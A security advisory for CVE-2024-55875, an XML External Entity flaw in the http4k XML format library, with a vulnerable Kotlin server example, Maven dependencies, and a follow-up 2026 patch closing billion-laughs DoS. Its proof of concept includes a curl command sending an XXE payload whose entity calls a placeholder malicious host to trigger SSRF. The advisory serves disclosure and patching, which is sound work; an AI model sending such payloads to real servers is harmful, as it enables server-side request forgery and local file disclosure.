CVE-2024-55875 — Vulnerability in org.http4k:http4k-format-xml —...

### Summary _Short summary of the problem. Make the impact and severity as clear as possible. For example: An unsafe deserialization vulnerability allows any unauthenticated user to execute arbitrary code on the server._ There is a potential XXE(XML External Entity Injection) vulnerability when http4k handling malicious XML contents within requests, which might allow attackers to read local sensitive information on server, trigger Server-side Request Forgery and even execute code under some circumstances. ### Details _Give all details on the vulnerability. Pointing to the incriminated source code is very helpful for the maintainer._ https://github.com/http4k/http4k/blob/25696dff2d90206cc1da42f42a1a8dbcdbcdf18c/core/format/xml/src/main/kotlin/org/http4k/format/Xml.kt#L42-L46 XML contents is parsed with DocumentBuilder without security settings on or external entity enabled ### PoC _Complete instructions, including specific configuration details, to reproduce the vulnerability._ #### Example Vulnerable server code: ``` import org.http4k.core.* import org.http4k.format.Xml.xml import org.http4k.server.Netty import org.http4k.server.asServer import org.w3c.dom.Document fun main() { val xmlLens = Body.xml().toLens() // Create an HTTP handler val app: HttpHandler = { request -> try { // Parse the incoming XML payload to a Document object val xmlDocument: Document = xmlLens(request) // Extract root element name or other details from the XML val rootElementName = xmlDocument.documentElement.nodeName // Create a response XML based on the extracted information val responseXml = """ <response> <message>Root element is: $rootElementName</message> </response> """.trimIndent() // Respond with XML Response(Status.OK).body(responseXml).header("Content-Type", "application/xml") } catch (e: Exception) { // Handle invalid XML or other errors Response(Status.BAD_REQUEST).body("Invalid XML: ${e.message}") } } // Start the server val server = app.asServer(Netty(9000)).start() println("Server started on http://localhost:9000") } ``` #### Maven dependency: ``` <dependencies> <dependency> <groupId>org.jetbrains.kotlin</groupId> <artifactId>kotlin-test-junit5</artifactId> <version>1.9.0</version> <scope>test</scope> </dependency> <dependency> <groupId>org.junit.jupiter</groupId> <artifactId>junit-jupiter-engine</artifactId> <version>5.10.0</version> <scope>test</scope> </dependency> <dependency> <groupId>org.jetbrains.kotlin</groupId> <artifactId>kotlin-stdlib</artifactId> <version>1.9.0</version> </dependency> <dependency> <groupId>org.http4k</groupId> <artifactId>http4k-core</artifactId> <version>5.40.0.0</version> </dependency> <!-- Http4k XML format --> <dependency> <groupId>org.http4k</groupId> <artifactId>http4k-format-xml</artifactId> <version>5.40.0.0</version> </dependency> <!-- http4k Netty --> <dependency> <groupId>org.http4k</groupId> <artifactId>http4k-server-netty</artifactId> <version>5.40.0.0</version> </dependency> </dependencies> ``` #### Exploit payload example to trigger SSRF `curl -X POST http://localhost:9000 -H "Content-Type: application/xml" -d "<?xml version=\"1.0\" encoding=\"UTF-8\"?><!DOCTYPE root [<!ENTITY xxe SYSTEM \"https://replace.with.your.malicious.website/poc\">]><root>&xxe;</root>"` ### Impact _What kind of vulnerability is it? Who is impacted?_ The servers that employ this XML parsing feature of http4k are vulnerable to this XXE vulnerability ### Follow-up patch — v6.50.0.0 (May 2026) The original fix shipped in v5.41.0.0 / v4.50.0.0 closed the documented external-entity attack class (SSRF, local-file disclosure, code execution) by setting `ACCESS_EXTERNAL_DTD=""`, `ACCESS_EXTERNAL_SCHEMA=""`, and `isExpandEntityReferences=false` on the default `DocumentBuilderFactory`. A residual gap remained: the parser still **accepted** documents containing `<!DOCTYPE>` declarations even though external entity resolution was blocked. This left open billion-laughs-style internal entity expansion DoS attacks against any application using `Body.xml()` or `Document.asXmlDocument()` on untrusted XML. **v6.50.0.0** closes this residual by adding `disallow-doctype-decl=true` and `FEATURE_SECURE_PROCESSING=true` to `defaultXmlParsingConfig`. Any document containing a `<!DOCTYPE>` is now rejected at parse time. #### Follow-up affected & fixed versions | Version | Fixed Version | |---------|---------------| | `>= 5.41.0.0, < 6.50.0.0` | **6.50.0.0** | v6.x users should upgrade to v6.50.0.0. The patch is part of the v6.50.0.0 release; no separate backport is required for the v6 line. Older v5 / v4 users remain on the v5.41.0.0 / v4.50.0.0 fix (external-entity protection); the billion-laughs residual is fixed in those lines only via http4k EE LTS releases — contact [enterprise@http4k.org](mailto:enterprise@http4k.org) if you need it. #### Follow-up timeline | Date/time (UTC) | Notes | |-----------------|-------| | 31/05/2026 17:12 | Follow-up patch merged (commit [`c0cfaf5d63`](https://github.com/http4k/http4k/commit/c0cfaf5d63)) with new tests for `<!DOCTYPE>` rejection and billion-laughs payload rejection | | 31/05/2026 18:06 | http4k v6.50.0.0 released to Maven Central |